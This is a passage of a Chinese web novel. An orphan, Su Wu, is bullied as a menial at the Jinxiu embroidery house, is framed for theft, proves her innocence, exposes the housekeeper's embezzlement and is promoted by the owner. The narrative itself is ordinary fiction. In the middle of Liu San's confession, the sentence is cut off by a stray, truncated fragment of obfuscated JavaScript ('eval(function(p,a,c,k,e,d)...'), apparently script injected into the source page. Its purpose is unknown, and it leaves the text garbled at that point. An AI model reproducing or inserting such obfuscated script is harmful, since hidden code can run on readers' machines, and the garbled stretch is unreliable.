“哼，走吧，我带你去杂役房，以后你就住在那里。”张嬷嬷冷哼一声，转身朝着杂役房走去。 苏芜连忙跟上张嬷嬷的脚步，走到杂役房。杂役房在院子的最西侧，是一间简陋的土坯房，里面摆着几张破旧的木板床，铺着稻草，屋里没有生火，冷飕飕的，比苏家的柴房也好不了多少。里面已经住了几个杂役，都是年轻的小伙子，看到苏芜走进来，都投来异样的目光。 张嬷嬷指了指角落里的一张空床，没好气道：“以后你就住在这里，记住了，杂役房的规矩，谁都不许偷懒，谁要是敢偷懒，就别想吃饭！还有，绣房里的绣娘们金贵，不许随便靠近，不许弄脏她们的绣品，不然，有你好果子吃！” “我知道了，张嬷嬷。”苏芜点了点头，低声应道。 张嬷嬷又叮嘱了几句，便转身走了。 张嬷嬷走后，杂役房里的几个小伙子便围了过来，上下打量着苏芜，眼神里带着鄙夷和不屑。其中一个身材高大的小伙子，推了苏芜一把，没好气道：“你就是那个乡下来的叫花子？也配来我们锦绣阁当杂役？看你这副模样，能干嘛活？怕是来混吃混喝的吧？” 苏芜被推得踉跄了几步，险些摔倒，她扶着旁边的木板床，缓缓直起身子，抬头看向那小伙子，没有说话，只是眼底闪过一丝倔强。她知道，这些杂役见她是个女子，又乡下来的，无依无靠，便想欺负她。可她现在没有力气反抗，也不能反抗，她只能隐忍，只能默默承受。 “怎么？不说话？心虚了？”另一个小伙子嗤笑一声，伸手就要去扯苏芜的破衣，“我看你这破衣，也该扔了，穿在身上，简直丢我们锦绣阁杂役的脸！” 苏芜下意识地往后退了几步，避开了他的手，紧紧攥着怀里的布包，依旧没有说话。 就在这时，一个年纪稍长的杂役走了过来，对着那几个小伙子道：“行了，别欺负一个小姑娘了，都是出来讨生活的，不容易。张嬷嬷要是知道你们在这里欺负人，饶不了你们。赶紧干活去，别在这惹事。” 那几个小伙子闻言，撇了撇嘴，虽有不满，却也不敢再多说，只是狠狠瞪了苏芜一眼，便转身走了。 苏芜对着那个年纪稍长的杂役微微躬身，声音带着一丝感激：“谢谢大哥。” 那年纪稍长的杂役摆了摆手，叹了口气道：“小姑娘，你一个人在京城里，又在这锦绣阁当杂役，不容易。这锦绣阁里，不管是张嬷嬷，还是这些杂役，都不好相处，你以后凡事多忍忍，少说话，多干活，别惹他们不高兴，不然，怕是待不长久。” “我知道了，谢谢大哥提醒。”苏芜点了点头，把他的话记在了心里。 与那杂役聊了几句，苏芜才知道，他叫王大，在锦绣阁当了三年杂役，为人憨厚老实，看不惯欺负人的事。王大告诉苏芜，锦绣阁里的规矩很多，杂役要天不亮就起来干活，干到天黑才能歇着，每天的活计都排得满满当当，挑水、劈柴、浆洗衣物、清扫院子、给绣娘们送茶水和布料，什么活都要干。张嬷嬷欺软怕硬，最喜欢欺负无依无靠的杂役，尤其是像她这样乡下来的孤女，以后做事一定要小心谨慎。还有那些绣娘们，大多心高气傲，看不起杂役，也不许杂役随便靠近绣房。 苏芜把王大的话一一记在心里，默默点了点头。她知道，她在锦绣阁的日子，不会轻松，甚至会比在苏家还要艰难。可她不怕，她从苏家逃出来，走了七天七夜到京城，吃了那么多苦，受了那么多罪，都没有放弃，这点艰难，又算得了什么。 她走到角落里的那张空床前，把怀里的布包放在床上，又把稻草铺平整，便躺了下去。木板床很硬，稻草也很扎人，屋里冷飕飕的，可苏芜却觉得，这是她十几年来，睡得最安稳的一觉。 她终于有了一个容身之所，终于能在这京城里活下去了。 窗外的寒风依旧刮着，吹得窗户纸呼呼作响，可苏芜的心底，却一片温暖，也一片坚定。她知道，这只是她在京城的开始，未来的路，还很长，还会有更多的艰难和挑战在等着她。可她不会害怕，也不会退缩。 她要靠着自己的双手，靠着自己的隐忍，靠着自己的韧性，在这京城里，一步步站稳脚跟，一步步活下去，一步步活成自己想要的模样。 她闭上眼睛，脑海里闪过苏家村的欺凌，闪过一路逃亡的艰难，闪过京城的繁华，闪过锦绣阁的规矩。她在心里默默告诉自己：苏芜，你一定要好好活着，一定要在这京城里，活出个人样来，一定要让那些曾经欺凌你的人，刮目相看。 夜色渐浓，锦绣阁里渐渐安静了下来，只有绣房里还有几盏灯亮着，那是绣娘们在赶制绣品。苏芜躺在冰冷的木板床上，听着窗外的寒风声，听着远处的车马声，渐渐进入了梦乡。 这一夜，她睡得很沉，没有梦，只有一片安稳。 4. 绣坊风雨·暗积锋芒 天还未亮，启明星尚悬在墨色的天际，锦绣阁的后门便被吱呀一声推开，苏芜的身影裹着刺骨的寒风，出现在院中的水井旁。指尖刚触到水桶的木柄，一股冰寒便顺着指腹窜进骨髓，她下意识地缩了缩手，却还是咬着牙拎起了水桶。井沿结着薄薄的冰碴，她弯腰打水时，裙摆扫过冰面，沾了一层白霜，冻得发紫的脚踝露在破裤脚外，被寒风刮得生疼。 自入锦绣阁做杂役，已过了二十余日。这二十余日，于苏芜而言，是另一场炼狱，却也是她在京城扎根的第一块基石。张嬷嬷的刻薄从未消减，反倒因见她性子隐忍、做事麻利，便将更多的脏活累活尽数推到她身上——别的杂役每日挑三担水，她要挑六担；别人劈半间柴房的柴，她要劈满整间；绣娘们换下的脏衣、绣品的边角布料，不管多少，都让她连夜浆洗干净，稍有不慎，便是一顿呵斥打骂。 那些杂役见张嬷嬷处处针对她，也纷纷落井下石。领头的是个名叫刘三的壮汉，生得牛高马大，心眼却极小，因那日苏芜初来之时，王大替她解了围，便记恨在心，整日带着两个小杂役找她的麻烦。要么是在她挑水时，故意撞她一下，让水桶里的水洒得满身都是，冻得她瑟瑟发抖；要么是在她劈柴时，偷偷把粗重的硬木柴堆在她面前，看着她费尽九牛二虎之力也劈不开，便在一旁嬉笑嘲讽；甚至有一次，他们把她藏在杂役房角落的半块窝头偷了去，扔进了泔水桶，看着她饿了一整天，也毫无愧色。 苏芜都忍了。 她知道，在这锦绣阁里，她无依无靠，无户籍无靠山，唯一的立身之本，便是“忍”与“干”。忍下所有的刁难与欺凌，干好所有的活计，让张嬷嬷挑不出太大的错处，才能保住这来之不易的容身之所。她的手上，新伤叠着旧伤，虎口被斧头震裂的口子刚结了痂，又被扁担磨破，渗出血丝；肩膀上，扁担压出的淤青从未消退，只是从深紫变成了浅青，又添上新的淤痕；脚底的血泡磨成了厚茧，却还是会被冰冷的地面和粗糙的石板路磨得生疼。 可她从未有过一丝放弃的念头。每日干完活，纵使浑身酸痛得连抬手的力气都没有，她也会靠着杂役房的墙壁，借着窗外透进来的微弱月光，做两件旁人不曾留意的事。一是记账，二是绘纹。 记账，是她无意间发现的机会。那日张嬷嬷让她去账房取绣坊的采买清单，账房先生不在，桌上摊着厚厚的账本，她随手翻了几页，便发现了端倪——采买的绸缎，市价每匹三百文，账本上却记着五百文；绣娘用的丝线，每束十文，账本上却记着二十文。更让她心惊的是，每月绣坊给杂役和绣娘发的月钱，账本上的数目与实际发放的数目，相差甚远。她想起王大曾私下跟她说过，张嬷嬷掌着绣坊的采买和月钱发放，每年都能从中捞不少油水，彼时她还半信半疑，此刻见了账本，便知所言非虚。 她天生过目不忘，只扫了几眼，便将账本上的关键数目记在了心里。此后，她便借着送茶水、取布料的机会，有意无意地留意账房的账本和张嬷嬷的采买单据，将每一笔有问题的账目，都默默记在心底，像攒着一颗颗细碎的石子，等着有朝一日，能聚沙成塔。 绘纹，则是刻在她骨子里的喜好与天赋。她自小在乡野长大，看惯了山间的花鸟草木——春日的迎春、夏日的荷花、秋日的丹桂、冬日的腊梅，还有枝头跳跃的麻雀、花间飞舞的蝴蝶、溪中嬉戏的锦鲤，这些鲜活的景致，都深深印在她的脑海里。锦绣阁的绣娘们技艺精湛，可绣出的纹样，却千篇一律，不是刻板的牡丹富贵，便是俗套的鸳鸯戏水，少了几分自然的灵动。 那日她在浆洗绣娘的布料时，捡到了一支被丢弃的炭笔头，便偷偷收了起来。每晚干完活，她便用炭笔头，在捡来的废旧宣纸边角，或是自己的破布上，画下乡野间的那些花鸟草木。她画的荷花，不是规规矩矩的团荷，而是半开的菡萏，带着露珠，亭亭玉立；她画的蝴蝶，不是对称的模样，而是振翅欲飞的姿态，翅膀上的纹路清晰可见；她画的腊梅，不是簇拥的花团，而是疏枝横斜，几朵寒梅点缀其间，自有一番风骨。 她不敢让旁人看见，便将画好的纹样，小心翼翼地藏在杂役房的稻草堆里，或是绣在自己破衣的内衬里。那些粗糙的线条，简单的勾勒，于她而言，却是黑暗日子里，一抹难得的光亮，也是她想要在锦绣阁站稳脚跟，甚至走出底层的唯一希望。 这日清晨，苏芜刚挑完第六担水，将水缸添得满满当当，张嬷嬷便扭着微胖的身子，走到她面前，脸上带着刻薄的笑，手里拿着一叠厚厚的绸缎，扔在她面前的石板地上：“苏芜，把这些绸缎浆洗干净，再熨烫平整，晌午之前必须做好，要是敢弄皱一丝一毫，或是耽误了绣娘们干活，看我不扒了你的皮！” 苏芜低头看去，那叠绸缎足有上百匹，都是上好的云锦和蜀锦，质地柔软，极易损坏，浆洗和熨烫都要格外小心。别说晌午之前，便是连夜赶工，也未必能做好。旁边的刘三见了，凑上前来，嬉皮笑脸地对张嬷嬷道：“张嬷嬷，这苏芜可是您的得力干将，这点活，对她来说不算什么，定能按时做好。” 说罢，他又斜睨着苏芜，眼底满是幸灾乐祸。苏芜知道，这又是张嬷嬷故意刁难她，可她没有丝毫辩解，只是弯腰捡起地上的绸缎，沉声道：“奴婢知道了。” 张嬷嬷冷哼一声，抬手拍了拍苏芜身上的灰尘，语气阴恻：“算你识相，记住了，在锦绣阁里，让你做什么，你就做什么，别想着偷懒耍滑，不然，有你好果子吃。” 说罢，张嬷嬷便扭着身子走了，刘三则跟在她身后，时不时回头冲苏芜做个鬼脸，那副嘴脸，让苏芜心底泛起一丝寒意，却也只是攥紧了手里的绸缎，转身走向浆洗房。 浆洗房在锦绣阁的西北角，狭小阴暗，只有一扇小窗，透进一点微弱的光。房里摆着几个大木盆，里面盛着冰冷的河水，旁边堆着皂角和浆粉，寒风从窗缝里钻进来，吹得木盆里的水泛起层层涟漪。苏芜将绸缎放进木盆，伸手去搓洗，冰冷的河水瞬间冻得她的手指僵硬，几乎握不住东西。她咬着牙，用皂角一点点搓洗着绸缎上的浮尘，动作轻柔，生怕损坏了质地。 搓洗、漂净、上浆、拧干，每一个步骤，她都做得格外认真。上百匹绸缎，她洗了一遍又一遍，手指被冻得红肿发紫，连弯曲都变得困难，胳膊酸得抬不起来，额头上却冒出了细密的汗珠。洗到一半，她实在撑不住了，靠在木盆边，歇了片刻，喝了一口随身携带的冷水，又继续干活。 就在这时，浆洗房的门被吱呀一声推开，一个瘦小的身影探了进来，怯生生地喊道：“苏芜姐姐……” 苏芜回头看去，见是一个约莫十二三岁的小姑娘，梳着双丫髻，穿着一身洗得发白的青布绣娘服，脸上带着些许怯意，手里端着一碗温热的米汤。这小姑娘名叫青禾，是锦绣阁里最底层的小绣娘，父母早亡，被亲戚卖到锦绣阁，因年纪小，技艺不精，总被张嬷嬷打骂，绣娘们也都欺负她，让她干最累的绣活，却给她最少的月钱。 苏芜与青禾相识，是在十几天前。那日青禾因绣坏了一匹给官宦人家做的锦缎，被张嬷嬷抓住，按在地上打骂，打得浑身是伤，连站都站不起来。苏芜路过，见她可怜，便偷偷拿出自己藏的金疮药，给她敷上，又把自己仅有的半块窝头分给她吃。自那以后，青禾便时常偷偷找她，给她送一碗热水，或是一块窝头，虽是微薄的善意，却在这冰冷的绣坊里，给了苏芜一丝温暖。 “青禾，你怎么来了？”苏芜停下手里的活，声音带着一丝疲惫。 青禾走进浆洗房，将手里的米汤递给苏芜，眼眶红红的：“苏芜姐姐，我看你从早上忙到现在，一口东西都没吃，便偷偷从后厨盛了一碗米汤给你。张嬷嬷让你晌午之前洗完这些绸缎，这根本就是故意刁难你，你怎么不反抗呢？” 苏芜接过米汤，温热的触感从指尖传到心底，她喝了一口，米汤的清甜在嘴里散开，驱散了些许寒意和疲惫。她摇了摇头，轻声道：“反抗又能如何？我无依无靠，在这锦绣阁里，只能忍。” 青禾咬着唇，低下头，手指绞着衣角：“可她也太过分了，每天都让你干那么多活，还总让刘三他们欺负你。我看她就是觉得你好欺负，才变本加厉。” 苏芜摸了摸青禾的头，笑了笑：“没事，我能扛住。你快回去吧，别让张嬷嬷看到了，不然又要打骂你了。” 青禾抬起头，看着苏芜红肿的手指和满是淤青的胳膊，眼泪忍不住掉了下来：“苏芜姐姐，你手上的伤都没好，又泡在冷水里，会越来越严重的。我帮你一起洗吧，多一个人，也能快一点。” 说罢，青禾便撸起袖子，想要伸手去木盆里搓洗绸缎。苏芜连忙拦住她：“不行，你不能帮我。张嬷嬷要是知道了，不仅会打骂你，还会把你赶出锦绣阁的。你好不容易有个容身之所，不能因为我毁了。” “可我看着你这么辛苦，心里难受。”青禾的眼泪掉得更凶了，“苏芜姐姐，你是这锦绣阁里，唯一对我好的人。我不想看着你被他们欺负。” 苏芜看着青禾泪眼婆娑的模样，心底涌起一丝暖意，也有一丝酸涩。她想起了自己在苏家村的日子，无依无靠，任人欺凌，那种滋味，她比谁都清楚。她擦了擦青禾的眼泪，轻声道：“听话，快回去。只要你好好活着，好好学绣活，将来能独当一面，就是对我最好的回报了。” 青禾拗不过苏芜，只能点了点头，将米汤碗递给苏芜：“那苏芜姐姐，你一定要把米汤喝完，别累坏了身子。我先回去了，要是张嬷嬷问起，我就说出来捡布料。” 说罢，青禾便转身跑了出去，临走前，还不忘给苏芜带上浆洗房的门。 苏芜看着青禾的背影，喝光了碗里的米汤，心底的疲惫消散了些许。她攥紧了手里的绸缎，继续埋头干活。她知道，青禾的善意，是她在这绣坊里的一丝牵绊，也是她必须更加努力活下去的理由。她不仅要让自己站稳脚跟，还要护着这个唯一对她好的小姑娘。 晌午的钟声敲响时，苏芜终于将最后一匹绸缎熨烫平整，叠得整整齐齐，放在浆洗房的架子上。她撑着木盆，缓缓站起身，浑身酸痛得像散了架，手指僵硬得无法弯曲，脚底的疼痛阵阵袭来，眼前一阵阵发黑。她扶着墙壁，歇了片刻，才勉强稳住身形，转身去叫张嬷嬷来查验。 张嬷嬷慢悠悠地走到浆洗房，看了看架子上的绸缎，伸手摸了摸，见浆洗得干净，熨烫得平整，挑不出丝毫错处，眼底闪过一丝诧异，随即又化为不满，冷哼一声：“算你运气好，没把绸缎弄坏。下次再这么慢，看我怎么收拾你。” 说罢，张嬷嬷便扭着身子走了，连一句夸赞的话都没有。苏芜看着她的背影，没有丝毫怨言，只是转身走出浆洗房，想去后厨找点东西吃。她从早上到现在，只喝了一碗米汤，早已饿得前胸贴后背。 可她刚走到后厨门口，就被刘三带着两个小杂役拦住了去路。刘三双手抱胸，斜睨着苏芜，脸上带着痞气的笑：“苏芜，你倒是挺能耐，这么多绸缎，还真让你洗完了。不过，你以为洗完了就没事了？” 苏芜看着他们，沉声道：“你们想干什么？” “干什么？”刘三冷笑一声，伸手推了苏芜一把，“张嬷嬷说了，你今天干活慢了，耽误了绣娘们的进度，罚你今天不许吃饭，还要去劈够双倍的柴，要是天黑之前劈不完，就别想回杂役房睡觉！” 苏芜被推得踉跄了几步，险些摔倒。她稳住身形，看着刘三，眼底闪过一丝怒意：“我按时完成了活计，张嬷嬷也挑不出错处，你们凭什么罚我？” “凭什么？”刘三上前一步，揪着苏芜的衣领，恶狠狠地说道，“就凭在这锦绣阁里，张嬷嬷说什么就是什么，我们说什么就是什么！你一个乡下来的叫花子，也敢跟我们顶嘴？我看你是活腻了！” 说罢，刘三便抬手想打苏芜，旁边的两个小杂役也围了上来，摩拳擦掌，想要动手。就在这时，一个憨厚的声音响起：“刘三，你们干什么？光天化日之下，欺负一个小姑娘，算什么本事？” 苏芜回头看去，见是王大。王大手里拿着扁担，快步走了过来，挡在苏芜身前，怒视着刘三：“刘三，张嬷嬷只是让她劈柴，没说不许她吃饭，你别太过分了。都是出来讨生活的，何必赶尽杀绝？” 刘三见是王大，脸上的嚣张收敛了几分，却依旧嘴硬：“王大，这是我和她之间的事，跟你没关系，你少管闲事！” “这锦绣阁的事，只要我看到了，就管定了！”王大攥紧了手里的扁担，“今天你们要是敢动她一根手指头，我就跟你们拼了！” 刘三看着王大魁梧的身材，知道自己不是对手，又怕闹大了被张嬷嬷责罚，只能冷哼一声，松开苏芜的衣领，对着两个小杂役道：“我们走！” 说罢，刘三便带着两个小杂役骂骂咧咧地走了。 王大转过身，看着苏芜，叹了口气：“苏芜，你没事吧？刘三他们就是欺软怕硬，你以后可得小心点。” 苏芜揉了揉被揪疼的衣领，摇了摇头：“我没事，谢谢你，王大哥。” “谢什么，都是应该的。”王大摆了摆手，从怀里掏出两个窝头，递给苏芜，“这是我从后厨偷偷拿的，你快吃了吧，吃完了赶紧去劈柴，不然天黑之前劈不完，张嬷嬷又要找你麻烦了。” 苏芜接过窝头，眼眶微微泛红。在这冰冷的绣坊里，王大的憨厚，青禾的善意，是她仅有的温暖。她点了点头，对着王大道谢，便拿着窝头，转身走向柴房。 柴房里堆着满满的粗木柴，都是碗口粗的硬木，极其难劈。苏芜坐在柴房的门槛上，快速吃完了两个窝头，便拿起斧头，开始劈柴。斧头落下，震得她的胳膊发麻，虎口的伤口又裂开了，渗出血丝，可她依旧没有停下，一下又一下，用力地劈着柴。 夕阳西下，橘黄色的余晖透过柴房的窗户，洒在苏芜的身上，将她的身影拉得长长的。柴房里的柴，已经劈了满满一地，堆得整整齐齐，可离双倍的量，还有一半。苏芜的胳膊酸得抬不起来，虎口的血顺着斧头的木柄往下淌，滴在地上，晕开一小片暗红的血痕。她靠在柴堆上，歇了片刻，看着窗外渐渐暗下来的天色，咬了咬牙，又拿起斧头，继续劈柴。 夜色渐浓，锦绣阁里的灯笼纷纷挂了起来，橘黄色的灯光照亮了院子。苏芜终于将最后一根木柴劈断，堆在柴房的角落。她放下斧头，瘫坐在柴房的门槛上，浑身脱力，连抬手的力气都没有了。她看着满天的繁星，心底涌起一丝茫然，却也有一丝坚定。她不知道这样的日子还要过多久，可她知道，只要她不放弃，只要她默默积累力量，总有一天，她能摆脱这底层的苦难，能在这锦绣阁里，走出一条属于自己的路。 可她没想到，更大的危机，正在悄然逼近。 第二日一早，苏芜刚起床，就被张嬷嬷带着几个绣娘堵在了杂役房门口。张嬷嬷的脸上满是怒容，手里拿着一匹被撕坏的锦缎，扔在苏芜面前的地上：“苏芜，你好大的胆子！竟敢偷绣坊的锦缎，还把它撕坏了！这匹锦缎是给户部侍郎家的小姐做嫁衣用的，价值十两银子，你赔得起吗？” 苏芜低头看去，那匹锦缎是上好的蜀锦，绣着精美的牡丹纹样，确实是锦绣阁给户部侍郎家准备的嫁衣布料，可她从未碰过这匹锦缎，更别说偷了又撕坏了。她抬起头，看着张嬷嬷，沉声道：“张嬷嬷，我没有偷锦缎，也没有撕坏它，这不是我做的。” “不是你做的？那是谁做的？”张嬷嬷冷笑一声，指着苏芜，对着周围的绣娘和杂役道，“这锦绣阁里，除了她这个乡下来的叫花子，谁还敢偷锦缎？昨天只有她进过绣品房，不是她是谁？我看你就是见这锦缎名贵，想偷出去卖钱，被发现了，就恼羞成怒，把它撕坏了！” 周围的人纷纷附和，刘三更是跳了出来，指着苏芜道：“我作证，昨天我看到她鬼鬼祟祟地进了绣品房，肯定是她偷的！张嬷嬷，这种手脚不干净的人，不能留在锦绣阁里，应该把她送官，治她的偷窃之罪！” 青禾也挤在人群里，见苏芜被诬陷，急得眼泪都快掉下来了，想要上前替苏芜辩解，却被旁边的绣娘拉住了，绣娘低声呵斥她：“你个小丫头片子，别多管闲事，不然连你一起罚！” 苏芜看着张嬷嬷和刘三一唱一和，看着周围人指指点点的目光，心底涌起一丝寒意。她知道，这是张嬷嬷故意诬陷她，想要把她赶出锦绣阁。或许是因为她近日干活太过麻利，挑不出错处，让张嬷嬷觉得难以掌控；或许是因为她无意间看到了账房的账本，让张嬷嬷心生忌惮；又或许，只是因为张嬷嬷看她不顺眼，想找个借口除掉她。 可她不能认，也不能被赶出锦绣阁。这是她在京城的唯一容身之所，若是被赶出去，她又会变成无家可归的孤女，在这京城的街头，忍饥挨饿，甚至可能被苏大柱找到，抓回苏家村，卖给李老光棍。 她挺直了脊背，看着张嬷嬷，眼底满是坚定：“张嬷嬷，我再说一遍，这匹锦缎不是我偷的，也不是我撕坏的。昨天我确实进过绣品房，可我是去取绣娘们要用的丝线，取完就走了，根本没有碰过这匹锦缎。而且，这锦缎的撕痕边缘参差不齐，明显是被人故意用力撕扯的，若是我偷了锦缎，想卖钱，又怎么会把它撕坏？这根本不合情理。” 张嬷嬷没想到苏芜竟敢当众反驳她，眼底的怒意更甚：“你还敢狡辩！证据确凿，你还想抵赖？来人，把她绑起来，送官治罪！” 旁边的两个杂役闻言，便上前想要绑苏芜。就在这时，苏芜突然开口，声音清亮，传遍了整个院子：“张嬷嬷，且慢！这匹锦缎是昨日晌午放在绣品房的东侧架子上，我昨日去取丝线时，看到架子上的锦缎完好无损，而架子旁的地面上，有一串带着泥印的脚印，那脚印是男子的脚印，尺寸极大，与刘三的脚印一模一样！而且，绣品房的窗户，昨日是关着的，今日却开了一条缝，窗沿上有一道新鲜的划痕，明显是有人从外面翻进来过！” 苏芜的话，让周围的人都愣住了。她天生过目不忘，昨日去取丝线时，无意间看到了绣品房里的一切，包括架子上的锦缎，地面上的脚印，还有关着的窗户。她本以为只是寻常的细节，却没想到，此刻竟成了自证清白的证据。 张嬷嬷的脸色瞬间变了，眼神闪烁，不敢与苏芜对视。刘三更是脸色煞白，下意识地往后退了一步，想要遮住自己的脚印。 苏芜看着刘三的反应，心底更加确定，这一切都是张嬷嬷和刘三联手设计的。她继续道：“而且，我昨日劈柴到深夜，手上磨出了血泡，虎口也裂开了，根本没有力气撕扯这么厚的蜀锦。张嬷嬷若是不信，可以检查我的手，也可以去绣品房查看地面上的脚印和窗沿上的划痕，还可以问问绣品房的守房嬷嬷，昨日是谁除了我之外，进过绣品房！” 周围的人纷纷看向刘三，眼神里充满了怀疑。绣品房的守房嬷嬷也挤了进来，对着张嬷嬷道：“张嬷嬷，昨日除了苏芜姑娘，刘三也进过绣品房，说是找丢失的扁担，待了好一会儿才出来。” 证据确凿，刘三再也撑不住了，双腿一软，瘫坐在地上，嘴里喃喃道：“不是我，不是我做的，是张嬷嬷，是张嬷嬷让我做的……” 张嬷嬷的脸色瞬间变得惨白，厉声呵斥道：“你胡说八道！我什么时候让你做了？你自己偷了锦缎，撕坏了，还想栽赃给我？” “是你，就是你！”刘三红着眼睛，对着周围的人喊道，“是张嬷嬷让我偷了锦缎，撕坏了，栽赃给苏芜，想把她赶出锦绣阁！她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张嬷嬷的身子剧烈一颤，瘫坐在地上，面如死灰。她知道，温氏一向眼明心亮，若是查起账来，她这些年中饱私囊的事，必定会暴露无遗。 温氏的侍女很快便取来了绣品房的账本和采买单据，账房先生也匆匆赶来。温氏翻看着账本和单据，越看脸色越沉，手指在账本上重重一点：“张嬷嬷，你倒是能耐，采买的绸缎市价三百文一匹，你竟记了五百文；丝线十文一束，你记了二十文；每月的月钱，账本上的数目与实际发放的数目，相差足足二十两银子！这些年，你从锦绣阁捞了多少油水，你自己说说！” 张嬷嬷趴在地上，瑟瑟发抖，一句话也说不出来。 温氏的目光又落在苏芜身上，上下打量着她，见她虽衣衫破旧，满身伤痕，却眼神坚定，脊背挺直，没有丝毫怯懦，眼底闪过一丝赞许。她想起刚才苏芜条理清晰地自证清白，想起她能记住绣品房的诸多细节，心底更是有了几分欣赏。 温氏对着苏芜道：“你叫苏芜？” 苏芜躬身行礼，沉声道：“奴婢苏芜，见过东家。” “起来吧。”温氏摆了摆手，“今日之事，你做得很好，不仅自证了清白，还让我发现了绣坊里的猫腻。说说吧，你想得到什么赏赐？” 苏芜抬起头，看着温氏，眼底闪过一丝犹豫，随即又变得坚定。她知道，这是她在锦绣阁里，摆脱底层，抓住机会的唯一时刻。她躬身道：“奴婢不敢求赏赐，只是想求东家，给奴婢一个机会，让奴婢能留在绣坊，学习绣活和账目之事。奴婢虽出身乡野，却认得几个字，也略通些绘纹之法，还过目不忘，定能为东家分忧。” 说罢，苏芜从怀里掏出自己藏的破布，递到温氏面前。那破布的内衬，绣着她画的乡野花鸟纹样，荷花亭亭，蝴蝶振翅，腊梅疏斜，虽绣工粗糙，却线条灵动，充满了自然的意趣，与锦绣阁里刻板的纹样，截然不同。 温氏接过破布，看着上面的纹样，眼睛瞬间亮了起来。她从事绣坊生意多年，见过无数精美的纹样，却从未见过如此鲜活灵动、充满野趣的纹样，眼前一亮，心底满是惊艳。她抬头看向苏芜，眼底的欣赏更甚：“这纹样，是你画的，也是你绣的？” 苏芜点了点头：“回东家，是奴婢画的，也是奴婢绣的。奴婢自小在乡野长大，看惯了山间的花鸟草木，便随手画了下来，绣在破布上，让东家见笑了。” “好，好一个随手画来！”温氏赞不绝口，“锦绣阁的绣娘们技艺精湛，可纹样却太过刻板，少了几分自然的灵动。你的纹样，独树一帜，若是加以打磨，必定能成为锦绣阁的一绝！而且，你过目不忘，还能发现账目上的问题，倒是个难得的人才。” 温氏沉吟了片刻，对着众人道：“从今日起，免去张嬷嬷锦绣阁管事之职，将她赶出锦绣阁，永不再用！刘三栽赃陷害，偷取绣品，杖责二十，赶出锦绣阁！苏芜虽出身杂役，却聪慧过人，心思缜密，又通绘纹与账目，破格提拔为绣坊的账房助理，兼管绣品纹样的设计，月钱涨至一贯钱，搬去绣坊的偏房居住！” 温氏的话，让所有人都惊呆了。谁也没想到，一个出身底层的杂役，竟能一跃成为账房助理，兼管纹样设计，这简直是一步登天。 苏芜也愣住了，她看着温氏，眼底满是难以置信。她从未想过，自己的隐忍和积累，竟能换来这样的机会。她躬身对着温氏深深一拜，声音带着一丝哽咽：“谢东家赏识，奴婢定当尽心尽力，为东家分忧，绝不辜负东家的期望！” 青禾挤到苏芜身边，拉着她的手，眼泪掉了下来，却是喜极而泣：“苏芜姐姐，太好了，你终于不用被他们欺负了！” 王大也走上前来，对着苏芜拱手道：“苏芜姑娘，恭喜你，实至名归！” 周围的绣娘和杂役，看着苏芜的目光，从最初的鄙夷和轻视，变成了羡慕和敬畏。 温氏看着苏芜，点了点头，又对着账房先生道：“账房先生，今后绣坊的账目，你多与苏芜商议，让她熟悉熟悉绣坊的事务。绣娘们的纹样设计，也多听听苏芜的意见，看看能否将她的纹样，融入到绣品之中。” “是，东家。”账房先生躬身应道。 温氏又叮嘱了几句，便带着侍女走了。张嬷嬷和刘三则被杂役拖了下去，等待他们的，是应有的惩罚。 院子里的人渐渐散去，苏芜站在原地，看着温氏离去的背影，又看了看身边喜极而泣的青禾，和憨厚笑着的王大，心底涌起一股暖流。二十余日的隐忍，二十余日的辛苦，二十余日的默默积累，终于换来了今日的转机。 她知道，这只是她在锦绣阁的新开始，前路依旧布满了风雨。绣坊里的绣娘们，未必会服她这个出身底层的账房助理；京城的权贵世家，也未必会认可她的纹样；甚至还有更多的阴谋和算计，在等着她。 可她不再害怕。 她的手里，握着自己攒下的证据，藏着自己绘出的纹样，身边有了青禾的陪伴，还有了温氏的赏识。她像一株从石缝里钻出来的野草，历经风雨，却依旧倔强生长，如今终于迎来了一缕阳光，扎下了根，生出了芽。 她低头看着自己满是伤痕的手，这双手，曾劈过柴，挑过水，浆洗过无数的布料，如今，却要拿起炭笔，绘出精美的纹样，拿起算盘，理清繁杂的账目。这双手，曾受尽欺凌，如今，却要撑起自己的一片天。 苏芜握紧了青禾的手，眼底满是坚定的光芒。她对着青禾，也对着自己，在心里默默说道：“青禾，从今往后，我不会再让任何人欺负你。从今往后，我要靠着自己的双手，在这锦绣阁里，在这京城里，走出一条属于自己的路。从今往后，我要活成自己的光，再也不用在黑暗里，苦苦挣扎。” 夜色渐浓，锦绣阁里的灯笼依旧亮着，橘黄色的灯光照亮了院子，也照亮了苏芜前行的路。浆洗房的冰冷，柴房的辛苦，张嬷嬷的刻薄，刘三的欺凌，都成了过往。而属于苏芜的锦绣人生，才刚刚开始。绣坊的风雨，从未停歇，可她已不再是那个任人欺凌的孤女，她将借着这场风雨，积攒自己的锋芒，在这京城的繁华里，绽放出属于自己的光彩。 此后，苏芜便在锦绣阁里，开始了新的生活。她搬离了狭小阴暗的杂役房，住进了绣坊的偏房，虽不算宽敞，却干净整洁，还有一扇大大的窗户，能透进充足的阳光。她每日除了协助账房先生理清账目，核对采买单据，还会抽出时间，绘制纹样，与绣娘们交流绣活技巧。 绣娘们起初确实不服她，觉得她一个出身杂役的丫头，不配指导她们的绣活，便时常故意刁难她，要么是说她的纹样不合时宜，要么是说她的设计不懂绣活的门道。可苏芜从未与她们争辩，只是用实际行动证明自己。她根据绣娘们的技艺特点，修改纹样的设计，让纹样更贴合绣活的手法；她结合京城权贵的喜好，在乡野纹样的基础上，加入一些富贵的元素，让纹样既灵动又不失雅致；她还将自己记的账目，整理得清清楚楚，明明白白，让绣坊的采买和开支，一目了然，为锦绣阁节省了不少开销。 久而久之，绣娘们渐渐服了她，不仅愿意听她的意见，还会主动向她请教纹样设计的问题。青禾则一直跟在她身边，一边学习绣活，一边帮她打理杂事，成了她最得力的帮手。王大也依旧憨厚，时常帮她挑水劈柴，护着她不受旁人的欺负。 锦绣阁的生意，也因苏芜设计的新颖纹样，渐渐好了起来。不少官宦人家和富贵世家，都慕名而来，定制绣品，锦绣阁的名声，在京城里越来越响。温氏对苏芜也愈发信任，将绣坊的不少事务，都交给了她打理。 可苏芜知道，这只是开始。她在打理账目时，发现了更多京城商界的门道，也在与权贵世家的接触中，感受到了朝堂的暗流涌动。她知道，在这大靖王朝，皇权渐弱，世家盘踞，想要真正站稳脚跟，想要保护自己想保护的人，仅仅靠着锦绣阁的生意，远远不够。 